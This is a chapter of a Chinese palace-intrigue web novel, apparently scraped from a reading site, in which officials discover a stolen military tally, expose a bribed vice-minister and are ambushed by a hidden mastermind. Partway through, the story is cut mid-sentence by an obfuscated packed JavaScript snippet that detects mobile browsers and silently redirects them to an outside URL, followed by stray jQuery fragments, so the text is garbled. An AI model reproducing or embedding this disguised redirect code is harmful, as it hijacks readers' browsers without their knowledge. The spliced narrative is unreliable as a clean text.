第四百三十五章 国库失守

作品:《拒嫁前世渣夫,娇女翻身却宠错人

    一行人赶到城外国库时,守库的侍卫已经倒了一地。


    傅云堇翻身下马,蹲下查看最近的一个侍卫。


    “还活着,只是被点了穴。”


    林以棠松了口气,至少那人还没丧心病狂到见人就杀。


    国库的大门敞开着,里面黑漆漆的。


    “小心有埋伏。”傅云堇拔出剑,率先走了进去。


    林以棠跟在他身后,太子和几个大臣也硬着头皮跟上。


    库房里堆满了箱子,月光从窗户照进来,地上散落着几个打开的木箱,里面的金银珠宝洒了一地。


    “这些人走得很急。”张文渊捡起一颗夜明珠,“连这么值钱的东西都不要了。”


    林以棠走到最里面的库房,那里专门存放重要物品。


    门锁被撬开了,里面的架子上空了好几格。


    “兵符呢?”太子冲进来,声音都变了调。


    林以棠指了指空着的架子。


    太子脸色煞白,往后退了两步,差点站不稳。


    “完了……”


    “还没完。”傅云堇走到架子前,仔细查看,“这里有两个兵符的位置,但只少了一个。”


    “什么意思?”


    “京城周围有两支军队,一支十万人马驻扎在城北,一支五万人马在城南。”傅云堇说,“那人只拿走了城北的兵符。”


    林以棠心里一动。


    只拿一个?


    “他为什么不全拿走?”太子也反应过来了。


    “因为拿不走。”林以棠说,“兵符有特殊的机关,只有知道口令的人才能打开。如果强行打开,兵符就会自毁。”


    “那他怎么打开的?”


    林以棠看向傅云堇。


    两人都想到了同一个可能。


    “有内鬼。”傅云堇说,“而且是知道兵符口令的人。”


    太子脸色更难看了。


    知道兵符口令的,只有圣上和几个心腹大臣。


    “会是谁?”


    话音刚落,外面传来一阵马蹄声。


    众人冲出库房,看到一队人马正往这边赶来。


    为首的是个穿着官服的中年男人,看到太子,立刻翻身下马。


    “太子殿下,国库可还安好?”


    林以棠认出来了,这是兵部侍郎李大人。


    “李大人怎么来了?”太子问。


    “下官听说国库出事,特地赶来查看。”李大人说着,往库房里看了一眼,“兵符……”


    “城北的兵符被人偷走了。”


    李大人脸色大变,但很快又恢复正常。


    “这可如何是好?”


    林以棠盯着他,总觉得这人的反应有些不对劲。


    太惊讶了,又太平静了。


    “李大人,您怎么知道国库出事?”她突然开口。


    李大人愣了愣:“是宫里传出来的消息。”


    “宫里?”林以棠看向太子,“殿下,您派人通知李大人了?”


    太子摇头。


    李大人脸色变了变:“可能是别的大人告诉下官的。”


    “是哪位大人?”


    “这……下官一时想不起来了。”


    傅云堇走到他面前,眼神冷得吓人。


    “李大人,您最好想清楚再说。”


    李大人额头冒出冷汗。


    “下官……下官真的不记得了。”


    “那我帮您回忆一下。”傅云堇说,“今晚戌时三刻,您在府中书房见了一个人。那人给了您一封信,您看完后立刻带人往国库赶。”


    李大人脸色煞白。


    “你……你怎么知道?”


    “因为我派人盯着你很久了。”


    李大人往后退了一步,却被张文渊拦住。


    “李大人,那封信在哪?”


    “我……我烧了。”


    “烧了?”傅云堇冷笑,“那您还记得信上写了什么吗?”


    李大人不说话了。


    林以棠走到他面前。


    “李大人,您是不是知道谁偷了兵符?”


    李大人浑身一抖。


    “我不知道!”


    “不知道?”林以棠说,“那您为什么这么急着赶来?是想确认兵符是不是真的被偷了,还是想……”


    她顿了顿:“想毁灭证据?”


    李大人脸色更白了。


    “我没有!”


    “那您身上那块玉佩是怎么回事?”


    李大人下意识摸了摸腰间的玉佩。


    那是块羊脂白玉,雕工精细,一看就价值不菲。


    “这是下官祖传的。”


    “祖传的?”林以棠说,“可我记得,李大人家里世代务农,三代前才出了个秀才。这样的人家,怎么会有这么贵重的玉佩?”


    李大人张了张嘴,说不出话来。


    傅云堇一把扯下他的玉佩,翻过来看了看。


    玉佩背面刻着两个字:云安。


    “云安……”太子皱起眉头,“这不是户部尚书的字吗?”


    众人都愣住了。


    户部尚书姓云,名安之。


    “这玉佩是户部尚书的?”傅云堇看向李大人,“您从哪得来的?”


    李大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130469|189151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人不说话,只是低着头。


    “说!”


    “是……是有人给我的。”李大人终于撑不住了,“那人说,只要我帮他做件事,就给我这块玉佩,还有十万两银子。”


    “什么事?”


    “他让我今晚来国库,把城南的兵符也偷走。”


    众人倒吸一口凉气。


    原来那人不是只要一个兵符,而是两个都要。


    “那人是谁?”


    “我不知道。”李大人说,“他一直戴着面具,我从没见过他的脸。”


    又是这句话。


    林以棠看向傅云堇,两人都有些烦躁。


    这个神秘人,到底是谁?


    “那人现在在哪?”


    “他说,等我拿到兵符,就在城外的破庙见面。”


    傅云堇和林以棠对视一眼。


    破庙,又是破庙。


    “走。”


    一行人往破庙赶去,李大人被押在中间。


    到了庙门口,里面静悄悄的,连根针掉在地上都能听见。


    “有埋伏。”傅云堇低声说。


    话音刚落,破庙里暗影幢幢,十几个黑衣人如鬼魅般蹿出,手中钢刀在月色下泛着森冷的光,瞬间将他们团团围住。


    空气紧绷如弦。


    “傅云堇,你倒是来得挺快。”


    一个声音从庙堂深处悠悠传来,声线清亮,还带着少年人特有的尖细,却透着一股与年龄不符的阴沉与得意。


    林以棠背脊一僵。


    这声音……


    不可能。


    月光穿过破败的屋顶,照亮庙堂的门槛。


    一个人影不紧不慢地走出来。


    他身形尚显单薄,穿着一身与此地格格不入的华贵锦袍,月色倾泻在他脸上,照出一张过分年轻秀气的面孔。


    来人眉眼弯弯,正含笑看着他们,


    “沈……沈大人?”


    太子几乎以为自己看花了眼,他甚至下意识地往前一步,想要把这个看似误入险境的少年同僚护在身后,


    “沈万安?你怎么会在这!快过来,有刺客!”


    来人正是刚刚晋升为礼部侍郎的沈万安。


    面对太子的“好意”,沈万安脸上的笑容更深了,他非但没动,反而好整以暇地掸了掸衣袖上并不存在的灰尘,目光越过惊愕的太子,径直落在林以棠身上。


    那眼神里,再没有半分从前的讨好与恭顺,只剩下赤裸裸的炫耀和一丝扭曲的快意。


    仿佛在说:看,这都是我做的。


    而你,林以棠,是我最得意的一颗棋子。